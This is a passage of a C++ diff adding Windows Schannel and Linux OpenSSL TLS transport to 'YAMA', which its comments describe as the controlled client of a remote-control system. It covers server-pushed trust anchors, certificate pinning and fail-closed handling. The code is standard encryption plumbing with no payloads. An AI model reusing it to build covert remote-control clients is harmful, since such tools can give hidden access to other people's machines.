sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
|
||||
if (sc != SEC_E_OK) {
|
||||
Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
|
||||
CloseHandles();
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ready = true;
|
||||
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
|
||||
return true;
|
||||
}
|
||||
|
||||
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready || outLen <= 0) {
|
||||
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
|
||||
(int)m_ready, outLen);
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
if (!m_pending.empty()) {
|
||||
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||
memcpy(out, m_pending.data(), n);
|
||||
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||
return n;
|
||||
}
|
||||
|
||||
char raw[16384];
|
||||
for (;;) {
|
||||
// 优先解密 m_raw 里已缓冲的字节(握手时随 Finished 收下的首条应用数据,或上轮
|
||||
// 一次 recv 到多条记录后剩下的记录)。select() 只看底层 socket,看不到这些字节,
|
||||
// 若先 recv 就会把它们卡住(随机延迟/死锁/协议错位)。
|
||||
while (!m_raw.empty()) {
|
||||
SecBuffer bufs[4] = {
|
||||
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
|
||||
|
||||
if (sc == SEC_E_INCOMPLETE_MESSAGE)
|
||||
break; // 记录不完整,去 recv 补字节
|
||||
if (sc == SEC_I_CONTEXT_EXPIRED)
|
||||
return 0; // close_notify
|
||||
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
|
||||
// 客户端解密失败(服务端发来的密文损坏/错位)。这里只返回 SOCKET_ERROR,
|
||||
// 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值(如 6001),
|
||||
// 掩盖真实原因,故把真实的 SECURITY_STATUS 记下来。
|
||||
Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
|
||||
(unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
|
||||
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
|
||||
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
|
||||
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
|
||||
int decLen = bufs[1].cbBuffer;
|
||||
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
|
||||
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
|
||||
int consumed = (int)m_raw.size() - extra;
|
||||
m_pending.insert(m_pending.end(), plain, plain + decLen);
|
||||
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
|
||||
|
||||
if (!m_pending.empty()) {
|
||||
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||
memcpy(out, m_pending.data(), n);
|
||||
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||
return n;
|
||||
}
|
||||
// 无明文的记录(如 alert/CCS):继续循环解下一条
|
||||
}
|
||||
|
||||
int r = recv(sock, raw, sizeof(raw), 0);
|
||||
if (r == SOCKET_ERROR)
|
||||
return SOCKET_ERROR;
|
||||
if (r == 0)
|
||||
return 0; // 对端关闭(此时无 pending,且 m_raw 已解完/为空)
|
||||
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||
// 循环回顶部,解密刚收到的字节
|
||||
}
|
||||
}
|
||||
|
||||
int TlsChannel::Send(SOCKET sock, const char* data, int len)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready)
|
||||
return SOCKET_ERROR;
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
|
||||
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
|
||||
int total = 0;
|
||||
while (total < len) {
|
||||
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
|
||||
|
||||
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
|
||||
BYTE* hdr = rec.data();
|
||||
BYTE* body = hdr + m_sizes.cbHeader;
|
||||
BYTE* trailer = body + chunk;
|
||||
memcpy(body, data + total, chunk);
|
||||
|
||||
SecBuffer bufs[4] = {
|
||||
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
|
||||
{ (ULONG)chunk, SECBUFFER_DATA, body },
|
||||
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
|
||||
if (FAILED(sc)) {
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
|
||||
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
|
||||
if (!SendAll(sock, rec.data(), wireLen)) {
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
total += chunk;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
#endif // _WIN32
|
||||
@@ -0,0 +1,187 @@
|
||||
// TlsChannel.h — 客户端单向 TLS 会话封装(Windows: Schannel;Linux: OpenSSL)
|
||||
//
|
||||
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时,
|
||||
// 所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
|
||||
// (fail-closed,不回退明文)。
|
||||
//
|
||||
// 选型:
|
||||
// - Windows:Schannel(原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为系统库。
|
||||
// - Linux:OpenSSL(构建链已因 libsign 链接 libcrypto,另加 libssl 即可)。
|
||||
// 两者都是单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
|
||||
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担;均不校主机名(客户端按 IP
|
||||
// 连接),不做吊销检查——与 Windows 版既有语义保持一致。
|
||||
//
|
||||
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
|
||||
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放上下文)与
|
||||
// Send/Recv 对上下文的使用由 m_ctxMtx 互斥,避免重连线程释放上下文时与使用线程产生
|
||||
// use-after-free。本对象作为 IOCPClient 的值成员存在,析构时释放上下文。
|
||||
//
|
||||
// 平台范围:_WIN32 与 Linux(非 Android)有实现;macOS / Android 不含任何内容,客户端
|
||||
// 维持明文(TLS 接入按设计文档延后)。两平台都通过 YAMA_TLS_CHANNEL 宏告知调用方
|
||||
// 「本平台有 TLS 通道」。
|
||||
#pragma once
|
||||
|
||||
#if defined(_WIN32)
|
||||
|
||||
#define YAMA_TLS_CHANNEL 1
|
||||
|
||||
#include <WinSock2.h>
|
||||
|
||||
#ifndef SECURITY_WIN32
|
||||
#define SECURITY_WIN32 1
|
||||
#endif
|
||||
#include <security.h>
|
||||
#include <schannel.h>
|
||||
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全。
|
||||
// Windows 版同样是「可热切换」的:TlsReload() 之后本函数立刻反映新状态(不是 call_once)。
|
||||
bool TlsEnabled();
|
||||
|
||||
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
|
||||
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
|
||||
bool TlsLoadError();
|
||||
|
||||
// 按当前信任锚位置(注册表 settings\tls_cert → settings.ini → exe 同目录 yama-ca.pem)
|
||||
// 重建 TLS 上下文并更新开关,让随后建立的新连接立刻走新传输方式(已建立的连接不受
|
||||
// 影响)。信任锚无效时不做任何改动、返回 false 并给出原因——一次坏下发不该把正在工作
|
||||
// 的客户端打死(下次启动仍 fail-closed)。线程安全:与 TlsEnabled/TlsLoadError/握手
|
||||
// 的证书校验互斥。
|
||||
bool TlsReload(std::string& err);
|
||||
|
||||
class TlsChannel
|
||||
{
|
||||
public:
|
||||
TlsChannel() {}
|
||||
~TlsChannel() { CloseHandles(); }
|
||||
|
||||
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
|
||||
TlsChannel(const TlsChannel&) = delete;
|
||||
TlsChannel& operator=(const TlsChannel&) = delete;
|
||||
|
||||
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
|
||||
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
|
||||
// sni 非空且为域名时作为 SNI 发送,让反代(nginx)按域名分流到正确的 server 块;
|
||||
// 证书校验仍只钉信任锚、不校主机名,与直接连主控端口时完全一致。
|
||||
bool Handshake(SOCKET sock, const char* sni = NULL);
|
||||
|
||||
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
|
||||
int Recv(SOCKET sock, char* buf, int len);
|
||||
|
||||
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
|
||||
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
|
||||
int Send(SOCKET sock, const char* buf, int len);
|
||||
|
||||
// 是否有待交付的数据:已解密明文(m_pending)或已缓冲但尚未解密的 TLS 记录(m_raw)。
|
||||
// 供接收线程在 select 前优先消费——select 只看底层 socket,看不到 Schannel 缓冲的
|
||||
// m_raw(握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余),
|
||||
// 若这里不把 m_raw 也算作「有数据」,这些字节会被 select 卡住。
|
||||
bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
|
||||
|
||||
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
|
||||
bool IsReady() const { return m_ready; }
|
||||
|
||||
private:
|
||||
void CloseHandles();
|
||||
bool SendAll(SOCKET sock, const void* data, int len);
|
||||
bool VerifyServerCert();
|
||||
|
||||
CredHandle m_cred = {};
|
||||
CtxtHandle m_ctx = {};
|
||||
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
|
||||
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
|
||||
bool m_ready = false; // 握手完成,Send/Recv 可用
|
||||
|
||||
SecPkgContext_StreamSizes m_sizes = {};
|
||||
|
||||
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
|
||||
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
|
||||
// recursive 是因为 Handshake 内部会再调 CloseHandles。
|
||||
std::recursive_mutex m_ctxMtx;
|
||||
|
||||
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
|
||||
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
|
||||
};
|
||||
|
||||
#elif defined(__linux__) && !defined(__ANDROID__)
|
||||
|
||||
#define YAMA_TLS_CHANNEL 1
|
||||
|
||||
#include <string>
|
||||
#include <mutex>
|
||||
|
||||
struct ssl_st; // OpenSSL 的 SSL 类型,避免头文件把 openssl/ssl.h 拖进所有翻译单元
|
||||
|
||||
// 进程级 TLS 开关:首次调用时加载信任锚文件,返回是否启用。线程安全、幂等。
|
||||
// Linux 版是「可热切换」的:TlsReload() 之后本函数立刻反映新状态(不是 call_once)。
|
||||
bool TlsEnabled();
|
||||
|
||||
// 信任锚已配置但加载失败(无法读取/格式错误/内容为空)时为 true:客户端必须拒绝连接
|
||||
// (fail-closed),不得静默回退明文。线程安全、幂等。
|
||||
bool TlsLoadError();
|
||||
|
||||
// 服务端下发信任锚(COMMAND_TLS_ENABLE):把 PEM 正文写入
|
||||
// $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem,无 HOME 时退回
|
||||
// 程序目录),原子替换、权限 0600。写入前先解析验证,不是合法证书就整包拒绝。
|
||||
// 落盘后用 TlsReload() 立即生效(Windows 客户端在 COMMAND_TLS_ENABLE 里调用同一个
|
||||
// TlsReload(),两平台行为一致)。
|
||||
bool TlsTrustAnchorSave(const std::string& pem, std::string& err);
|
||||
|
||||
// 服务端撤销信任锚(COMMAND_TLS_DISABLE):删除上述配置文件(含程序目录同名文件)。
|
||||
// 返回是否删掉了至少一个文件;之后同样用 TlsReload() 立即生效。
|
||||
bool TlsTrustAnchorRemove(std::string& err);
|
||||
|
||||
// 按当前信任锚文件重建 TLS 上下文并更新开关,让随后建立的新连接立刻走新传输方式
|
||||
// (已建立的连接不受影响:SSL 对象自持 SSL_CTX 引用)。信任锚无效时不做任何改动、
|
||||
// 返回 false 并给出原因——一次坏下发不该把正在工作的客户端打死(下次启动仍 fail-closed)。
|
||||
// 线程安全:与 TlsEnabled/TlsLoadError/Handshake 互斥。
|
||||
bool TlsReload(std::string& err);
|
||||
|
||||
class TlsChannel
|
||||
{
|
||||
public:
|
||||
TlsChannel() {}
|
||||
~TlsChannel() { CloseHandles(); }
|
||||
|
||||
// 持 SSL*,禁止拷贝/赋值(避免上下文被二次释放)。
|
||||
TlsChannel(const TlsChannel&) = delete;
|
||||
TlsChannel& operator=(const TlsChannel&) = delete;
|
||||
|
||||
// 在已连通的 socket 上完成 TLS 1.2 客户端握手并按信任锚校验服务端证书链。失败返回
|
||||
// false,调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
|
||||
// sni 非空且为域名时作为 SNI 发送(反代按域名分流);证书校验仍只钉信任锚。
|
||||
bool Handshake(int sock, const char* sni = NULL);
|
||||
|
||||
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
|
||||
int Recv(int sock, char* buf, int len);
|
||||
|
||||
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
|
||||
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
|
||||
int Send(int sock, const char* buf, int len);
|
||||
|
||||
// 是否有待交付的数据(SSL 内部已缓冲)供接收线程在 select 前优先消费。OpenSSL 会在
|
||||
// 一个 TLS 记录里装多条应用数据,一次 SSL_read 只交付一部分;剩余的留在 SSL 内部,
|
||||
// select 看不到,必须用 SSL_has_pending() 才能避免被 2 秒超时卡住。
|
||||
bool HasPending() const;
|
||||
|
||||
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
|
||||
bool IsReady() const { return m_ready; }
|
||||
|
||||
private:
|
||||
void CloseHandles();
|
||||
|
||||
ssl_st* m_ssl = nullptr;
|
||||
int m_fd = -1;
|
||||
bool m_ready = false; // 握手完成,Send/Recv 可用
|
||||
|
||||
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ssl)与工作线程的
|
||||
// Recv(SSL_read)、发送线程的 Send(SSL_write)互斥。OpenSSL 的 SSL 对象不允许
|
||||
// 并发使用,所以 Send/Recv 也持锁——与 Windows 版同样式。
|
||||
// mutable 是因为 HasPending() 是 const 但需要持锁读 m_ssl。
|
||||
mutable std::recursive_mutex m_ctxMtx;
|
||||
};
|
||||
|
||||
#endif // _WIN32 / __linux__ && !__ANDROID__
|
||||
@@ -0,0 +1,563 @@
|
||||
// TlsChannelLinux.cpp — 见 TlsChannel.h 头注释。仅 Linux(非 Android)编译。
|
||||
//
|
||||
// 与 Windows 的 Schannel 实现语义对齐:
|
||||
// - 单向 TLS 1.2(min=max=1.2,与 SP_PROT_TLS1_2_CLIENT 及两套服务端一致);
|
||||
// - 信任锚严格钉扎:证书链只按信任锚文件里的证书校验,不含系统根库;
|
||||
// - 不校主机名(客户端按 IP 连接,与 Windows 版一致)、不做吊销检查;
|
||||
// - 信任锚「存在即已配置」:读取/解析失败一律 TlsLoadError()=true → 调用方拒绝连接。
|
||||
//
|
||||
// 与 Windows 实现的差异:OpenSSL 自己管理 TLS 记录缓冲,不需要 m_raw/m_pending;
|
||||
// 一次性交付不出去的明文留在 SSL 内部,由 SSL_has_pending()/SSL_pending() 暴露给
|
||||
// 接收线程在 select 前优先消费。
|
||||
#if defined(__linux__) && !defined(__ANDROID__)
|
||||
|
||||
#include "TlsChannel.h"
|
||||
|
||||
#include "common/commands.h" // SOCKET_ERROR / closesocket 等 POSIX 兼容宏
|
||||
#include "common/logger.h" // Mprintf
|
||||
|
||||
#include <openssl/err.h>
|
||||
#include <openssl/pem.h>
|
||||
#include <openssl/ssl.h>
|
||||
#include <openssl/x509.h>
|
||||
#include <openssl/x509_vfy.h>
|
||||
|
||||
#include <cerrno>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <fstream>
|
||||
#include <iterator>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
namespace {
|
||||
|
||||
const char* const kAnchorName = "yama-ca.pem";
|
||||
|
||||
// 进程级 TLS 状态。两平台都可由 TlsReload() 热切换(Windows 版改造前是 call_once)
|
||||
// (服务端 COMMAND_TLS_ENABLE/DISABLE 落盘后立即重建),因此用互斥量而不是 once_flag。
|
||||
std::mutex g_stateMtx; // 保护下面四项
|
||||
bool g_inited = false; // 首次加载已完成(含 fail-closed 基态)
|
||||
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
|
||||
bool g_tlsError = false; // 信任锚存在但加载失败:拒绝连接(fail-closed)
|
||||
SSL_CTX* g_tlsCtx = nullptr; // 进程级上下文(线程安全,可被多条连接共享)
|
||||
std::string g_anchorPath; // 仅用于日志
|
||||
|
||||
// 配置目录:与 LinuxConfig 相同规则($XDG_CONFIG_HOME/ghost 或 ~/.config/ghost)。
|
||||
std::string ConfigDir()
|
||||
{
|
||||
const char* xdg = getenv("XDG_CONFIG_HOME");
|
||||
if (xdg && xdg[0])
|
||||
return std::string(xdg) + "/ghost";
|
||||
const char* home = getenv("HOME");
|
||||
if (!home || !home[0])
|
||||
return std::string();
|
||||
return std::string(home) + "/.config/ghost";
|
||||
}
|
||||
|
||||
// 可执行文件所在目录(readlink /proc/self/exe,失败返回空)。
|
||||
std::string ExeDir()
|
||||
{
|
||||
char buf[4096];
|
||||
ssize_t n = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
|
||||
if (n <= 0)
|
||||
return std::string();
|
||||
buf[n] = '\0';
|
||||
char* slash = strrchr(buf, '/');
|
||||
if (!slash)
|
||||
return std::string();
|
||||
*slash = '\0';
|
||||
return std::string(buf);
|
||||
}
|
||||
|
||||
// 信任锚候选路径(按优先级),只返回已经存在的那个:
|
||||
// 1) $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem)
|
||||
// 2) 可执行文件同目录 yama-ca.pem(兼容手工投递,与 Windows 的 exe 同名文件回退一致)
|
||||
bool FindAnchorPath(std::string& out)
|
||||
{
|
||||
std::vector<std::string> cands;
|
||||
std::string dir = ConfigDir();
|
||||
if (!dir.empty())
|
||||
cands.push_back(dir + "/" + kAnchorName);
|
||||
std::string exed = ExeDir();
|
||||
if (!exed.empty())
|
||||
cands.push_back(exed + "/" + kAnchorName);
|
||||
for (size_t i = 0; i < cands.size(); ++i) {
|
||||
if (access(cands[i].c_str(), F_OK) == 0) {
|
||||
out = cands[i];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// 递归 mkdir -p(已存在视为成功)。
|
||||
bool MkdirP(const std::string& path, mode_t mode)
|
||||
{
|
||||
if (path.empty())
|
||||
return false;
|
||||
struct stat st;
|
||||
if (stat(path.c_str(), &st) == 0)
|
||||
return S_ISDIR(st.st_mode);
|
||||
size_t slash = path.find_last_of('/');
|
||||
if (slash != std::string::npos && slash > 0) {
|
||||
if (!MkdirP(path.substr(0, slash), mode))
|
||||
return false;
|
||||
}
|
||||
if (mkdir(path.c_str(), mode) != 0 && errno != EEXIST)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 把 PEM(可含多张证书)或 DER 信任锚写入 store。返回加入的证书数。
|
||||
int LoadAnchors(const std::string& data, X509_STORE* store)
|
||||
{
|
||||
int added = 0;
|
||||
if (data.find("-----BEGIN") != std::string::npos) {
|
||||
BIO* bio = BIO_new_mem_buf(data.data(), (int)data.size());
|
||||
if (bio) {
|
||||
for (;;) {
|
||||
X509* cert = PEM_read_bio_X509(bio, NULL, NULL, NULL);
|
||||
if (!cert)
|
||||
break;
|
||||
if (X509_STORE_add_cert(store, cert) == 1)
|
||||
++added;
|
||||
else
|
||||
ERR_clear_error(); // 重复证书等:忽略该张,继续读后面的
|
||||
X509_free(cert);
|
||||
}
|
||||
BIO_free(bio);
|
||||
}
|
||||
ERR_clear_error();
|
||||
}
|
||||
if (added == 0) {
|
||||
// 退回 DER(单张)
|
||||
const unsigned char* p = (const unsigned char*)data.data();
|
||||
X509* cert = d2i_X509(NULL, &p, (long)data.size());
|
||||
if (cert) {
|
||||
if (X509_STORE_add_cert(store, cert) == 1)
|
||||
++added;
|
||||
else
|
||||
ERR_clear_error();
|
||||
X509_free(cert);
|
||||
}
|
||||
ERR_clear_error();
|
||||
}
|
||||
return added;
|
||||
}
|
||||
|
||||
enum BuildResult
|
||||
{
|
||||
BUILD_PLAINTEXT, // 没有信任锚文件 → 明文模式
|
||||
BUILD_READY, // *outCtx 为新建上下文,调用方接管所有权
|
||||
BUILD_INVALID, // 文件存在但读不了/解析不出证书(err 说明原因)
|
||||
};
|
||||
|
||||
// 按当前信任锚文件构建一份新的 TLS 上下文。不读写任何全局状态,便于「先构建、成功再替换」。
|
||||
BuildResult BuildState(SSL_CTX** outCtx, std::string& anchorPath, std::string& err, int& certs)
|
||||
{
|
||||
*outCtx = nullptr;
|
||||
certs = 0;
|
||||
anchorPath.clear();
|
||||
|
||||
std::string path;
|
||||
if (!FindAnchorPath(path)) {
|
||||
// 无证书 → 明文(默认,与老客户端一致)
|
||||
return BUILD_PLAINTEXT;
|
||||
}
|
||||
anchorPath = path;
|
||||
|
||||
// 证书已配置:管理员已「颁发」,必须走 TLS;读取/解析失败即拒绝连接(fail-closed),
|
||||
// 不能静默回退明文。
|
||||
std::ifstream f(path.c_str(), std::ios::binary);
|
||||
if (!f) {
|
||||
err = "cannot open " + path + ": " + strerror(errno);
|
||||
return BUILD_INVALID;
|
||||
}
|
||||
std::string pem((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
|
||||
SSL_CTX* ctx = SSL_CTX_new(TLS_client_method());
|
||||
if (!ctx) {
|
||||
err = "SSL_CTX_new failed";
|
||||
return BUILD_INVALID;
|
||||
}
|
||||
|
||||
// TLS 1.2 钉扎:与 Windows 客户端(SP_PROT_TLS1_2_CLIENT)及两套服务端(Schannel
|
||||
// SP_PROT_TLS1_2_SERVER / Go MinVersion=TLS1.2)保持一致。
|
||||
SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
|
||||
SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);
|
||||
|
||||
// SSL_VERIFY_PEER + 自定义 store = 严格钉扎到信任锚(不含系统根库),链校验在握手内
|
||||
// 完成,失败即握手失败。verify 回调传 NULL 使用默认行为(只验链,不校主机名)。
|
||||
SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);
|
||||
SSL_CTX_set_verify_depth(ctx, 8);
|
||||
|
||||
// 对端不打招呼就断开(不发 close_notify)在这里是常态:服务端关闭子连接时不发,
|
||||
// 客户端自己也同样不发(见 CloseHandles 的说明)。OpenSSL 3.0 起这种 unexpected EOF
|
||||
// 被归为 SSL_ERROR_SSL 协议错误,于是每结束一个终端/文件传输子连接都会记一条
|
||||
// 「SSL_read failed」——线上日志看着像 TLS 坏了。打开这个选项让它按正常关闭处理
|
||||
// (SSL_read 返回 0),与 Recv 的文档语义以及 Windows 版的行为一致。
|
||||
#ifdef SSL_OP_IGNORE_UNEXPECTED_EOF
|
||||
SSL_CTX_set_options(ctx, SSL_OP_IGNORE_UNEXPECTED_EOF);
|
||||
#endif
|
||||
|
||||
X509_STORE* store = X509_STORE_new();
|
||||
certs = store ? LoadAnchors(pem, store) : 0;
|
||||
if (!store || certs <= 0) {
|
||||
if (store)
|
||||
X509_STORE_free(store);
|
||||
SSL_CTX_free(ctx);
|
||||
certs = 0;
|
||||
err = "trust anchor " + path + " present but empty/invalid";
|
||||
return BUILD_INVALID;
|
||||
}
|
||||
SSL_CTX_set_cert_store(ctx, store); // ctx 接管 store 所有权
|
||||
|
||||
*outCtx = ctx;
|
||||
return BUILD_READY;
|
||||
}
|
||||
|
||||
// 替换全局状态并释放旧上下文(调用方持 g_stateMtx)。SSL 对象在 SSL_new 时已递增
|
||||
// SSL_CTX 的引用计数,所以已经建立的连接不会因为这里释放旧 ctx 而失效。
|
||||
void InstallStateLocked(SSL_CTX* ctx, bool enabled, bool error, const std::string& anchor)
|
||||
{
|
||||
SSL_CTX* old = g_tlsCtx;
|
||||
g_tlsCtx = ctx;
|
||||
g_tlsEnabled = enabled;
|
||||
g_tlsError = error;
|
||||
g_anchorPath = anchor;
|
||||
if (old)
|
||||
SSL_CTX_free(old);
|
||||
}
|
||||
|
||||
// 首次加载(调用方持锁):锚存在但无效时置 fail-closed。
|
||||
void EnsureInitLocked()
|
||||
{
|
||||
if (g_inited)
|
||||
return;
|
||||
g_inited = true;
|
||||
|
||||
SSL_CTX* ctx = nullptr;
|
||||
std::string anchor, err;
|
||||
int certs = 0;
|
||||
switch (BuildState(&ctx, anchor, err, certs)) {
|
||||
case BUILD_PLAINTEXT:
|
||||
InstallStateLocked(nullptr, false, false, anchor);
|
||||
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
|
||||
break;
|
||||
case BUILD_READY:
|
||||
InstallStateLocked(ctx, true, false, anchor);
|
||||
Mprintf("[TLS] enabled: trust anchor loaded (%s, %d cert(s)), all connections use TLS\n",
|
||||
anchor.c_str(), certs);
|
||||
break;
|
||||
case BUILD_INVALID:
|
||||
InstallStateLocked(nullptr, false, true, anchor);
|
||||
Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str());
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool TlsEnabled()
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_stateMtx);
|
||||
EnsureInitLocked();
|
||||
return g_tlsEnabled;
|
||||
}
|
||||
|
||||
bool TlsLoadError()
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_stateMtx);
|
||||
EnsureInitLocked();
|
||||
return g_tlsError;
|
||||
}
|
||||
|
||||
bool TlsReload(std::string& err)
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_stateMtx);
|
||||
EnsureInitLocked(); // 未初始化就先按启动语义建立基态,保持 fail-closed 行为
|
||||
|
||||
SSL_CTX* ctx = nullptr;
|
||||
std::string anchor;
|
||||
int certs = 0;
|
||||
BuildResult r = BuildState(&ctx, anchor, err, certs);
|
||||
if (r == BUILD_INVALID) {
|
||||
// 保留原状态:一次坏下发不该让正在工作的客户端失联(下次启动仍会 fail-closed)。
|
||||
Mprintf("[TLS] reload FAILED: %s; keeping current transport (%s)\n",
|
||||
err.c_str(), g_tlsEnabled ? "TLS" : "plaintext");
|
||||
return false;
|
||||
}
|
||||
if (r == BUILD_PLAINTEXT) {
|
||||
InstallStateLocked(nullptr, false, false, anchor);
|
||||
Mprintf("[TLS] reloaded: no trust anchor, transport is now plaintext\n");
|
||||
return true;
|
||||
}
|
||||
InstallStateLocked(ctx, true, false, anchor);
|
||||
Mprintf("[TLS] reloaded: trust anchor %s (%d cert(s)), transport is now TLS\n",
|
||||
anchor.c_str(), certs);
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---- 信任锚下发 / 撤销(服务端 COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE)----
|
||||
|
||||
bool TlsTrustAnchorSave(const std::string& pem, std::string& err)
|
||||
{
|
||||
if (pem.empty()) {
|
||||
err = "empty certificate payload";
|
||||
return false;
|
||||
}
|
||||
|
||||
// 先验证再落盘:文件一旦写进去,下次启动就会被无条件信任,坏锚等于把客户端锁死
|
||||
// (fail-closed 连不上,也没法再从服务端改回来)。宁可拒绝一次下发。
|
||||
{
|
||||
X509_STORE* probe = X509_STORE_new();
|
||||
int n = probe ? LoadAnchors(pem, probe) : 0;
|
||||
if (probe)
|
||||
X509_STORE_free(probe);
|
||||
if (n <= 0) {
|
||||
err = "payload is not a valid PEM/DER certificate";
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
std::string dir = ConfigDir();
|
||||
if (dir.empty()) {
|
||||
